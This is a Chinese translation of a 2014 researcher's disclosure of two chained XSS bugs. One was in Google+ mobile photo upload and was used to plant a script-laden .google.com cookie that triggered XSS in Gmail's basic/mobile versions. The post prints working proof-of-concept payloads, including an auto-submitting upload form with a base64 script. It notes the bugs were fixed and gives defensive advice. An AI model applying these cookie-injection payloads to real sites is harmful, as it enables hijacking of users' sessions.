[譯] Gmail 和 Google 的兩個 XSS 老漏洞分析
翻譯作者： DM （信安之路前端安全小組成員）
原文地址： https://blog.bentkowski.info/2014/06/gmail-and-google-tale-of-two-xss-es.html
成員招募： ofollow,noindex" target="_blank"> 信安之路web前端安全小組尋找志同道合的朋友
在這篇文章中，我會展示一下我在 Gmail 和 Google+ 中找到的兩個 XSS 漏洞。特別是我會解釋兩個問題：
-
為什麼我需要第二個平臺去注入第一個平臺；
-
cookie 中的作用域的正確設定有多重要。
Gmail
Gmail 是我們最常用的的 google 服務之一，有很多不同的版本，包括基本 HTML 版本和移動版舊版。這次我要介紹的 XSS 漏洞發生在上面的兩個版本中。這些版本中的功能比較簡單，只能完成最基礎的功能，只有基本的檢視和傳送郵件，但是最重要的一點是，我們可以設定標籤。
舉個例子，我們嘗試設定一個 <test> 標籤。
操作完成後，Gmail 會在通知中告知已對會話進行了標記。
當檢視 http 會話時，我發現通知的內容實際上被放在 cookie 裡。
cookie 裡的 html 實體 < 和 > 吸引了我的注意力，接著我們很自然地想到這裡是否能夠插入自定義標籤,例如 <img src=1 onerror=alert(1)>
然而這個 payload 沒起作用，伺服器報了 500 的錯誤。估計是 ">" 導致了這個錯誤。因為右尖括號在 cookie 裡還有其他的用途。可能是 cookie 被 ">" 拆分，並且當有一個超出預期的字元傳入時，伺服器端會發生一些錯誤，所以我們需要再修改下 payload，去掉了右尖括號：
這次成功了， alert 生效了，我在 mail.google.com 上找到了一個 xss 漏洞。
但現在仍然存在一個主要的問題。為了能夠利用這個漏洞，我需要能夠在受害者的瀏覽器中去設定任意 cookie。這通常是不可能的，需要另一個滿足下面條件之一漏洞：
1、http 響應分割
2、無限制的設定 cookie：
https://miki.it/blog/2013/9/15/xsrf-cookie-setting-google/
3、另一個 xss 漏洞
前倆個條件非常難以滿足，所以我們只關注第三個。還記得 Set-cookie 包含那些屬性嗎？
其中之一便是 domain 。所以當你傳送一個訊息頭時:
Set-Cookie: Test= test; Domain= .google.com ......
你建立了一個 cookie, 而這個 cookie 會被髮送到 Google.com 的任何子域。因此，我需要在任意其他 Google 子域上找到另一個 xss 漏洞，並使用它去設定一個 cookie 去注入 Gmail。Google 有大量的服務，所以這應該不難;)
Google+
我十分幸運地在 Google+ 上找到了另一個 xss 漏洞。就像在 Gmail 中一樣，這個漏洞存在於移動端而不是主版本。
這一次，我發現在上傳照片時，很容易受到攻擊。我注意到在上傳請求中有兩個很明顯的 base64 的 http 引數: puSuccessResponse 和 puFailureResponse 。
解碼後：
解碼後的結果包含了上傳結束後的伺服器響應的 html 程式碼。 puSuccessResponse 會在一切正常時執行，而 puFailureResponse 則是在失敗時執行。更有趣的是這個請求包含 CSRF token ，當 token 不正確時，伺服器會報 500 錯誤，但是 puFailureResponse 仍然會被應用！
做一個簡單的測試，讓我們用 alert(1) 來檢查一下：
現在我們將操作組合起來。
程式碼如下:
<html> <body> <form action="https://plus.google.com/_/upload/app/basic/photos?cbp=&cid=5&soc-app=115&soc-platform=1"method="POST"enctype="multipart/form-data"> <input type="hidden"name="puSuccessResponse"value="aGVq"/> <input type="hidden"name="puFailureResponse"value="PHNjcmlwdD4KYWxlcnQoIkR1ZGUsIHlvdSdyZSBYU1MtZWQgb24gIitkb2N1bWVudC5kb21haW4pOwpkb2N1bWVudC5jb29raWU9IkdNQUlMX05PVEk9dGwxPjxpbWcrc3JjJTNkMStvbmVycm9yJTNkJTIyYWxlcnQoJ0FuZCtub3crb24rJyUyYmRvY3VtZW50LmRvbWFpbiklMjIreDsgIERvbWFpbj0uZ29vZ2xlLmNvbTsgUGF0aD0vIjsKZG9jdW1lbnQubG9jYXRpb24gPSAiaHR0cHM6Ly9tYWlsLmdvb2dsZS5jb20vbWFpbC94LyI7ICAgCjwvc2NyaXB0PiAg"/> <input type="submit"value="Double XSS!"/> </form> </body> </html>
puSuccessResponse 被解碼為:
<script>
alert("Dude, you're XSS-ed on "+document.domain);
document.cookie="GMAIL_NOTI=tl1><img+src=1+onerror="alert('And+now+on+'+document.domain)"+x; Domain=.google.com; Path=/";
document.location="https://mail.google.com/mail/x/";
</script>
讓我們看看發生了什麼：
1、系統會顯示 plus.google.com 上的彈窗
2、cookie GMAIL_NOTI 中被設定了 xss 程式碼，mail.google.com 會讀取這條 cookie 從而被 xss 攻擊
3、使用者會立即重定向到 mail.google.com 從而被 xss 攻擊
您可以在下面的視訊中看到結果：
這兩個漏洞已經在 2014 年 3 月報告給了 Google，並且已經被修復。非常感謝 Google 安全團隊的，這是一個鍛鍊技能的好方法。
總結
這是一篇 2014 年的文章，雖然文中的平臺已經改進了，但是技術的本質沒有變化。 mail.google.com 本身是沒有 xss 漏洞的，但讀取了從 plus.google.com 傳來的 cookie 時，並沒有進行過濾，安全問題就由此產生了。
cookie 中的資料一般是由伺服器分發的，所以在開發中很難想到 cookie 中的資料也是不安全的。這裡其實有兩個辦法來解決這個問題：
1、對 cookie 的資料進行過濾；
2、正確設定 cookie 的作用域。
兩個方法如果實施了任意一個都可以防止 xss 的產生。從現在來看，瀏覽器的的儲存空間不僅僅有 cookie，還有 sessionStorage、localStorage、IndexedDB。從這些來源的資料在處理時也需要被謹慎考慮。
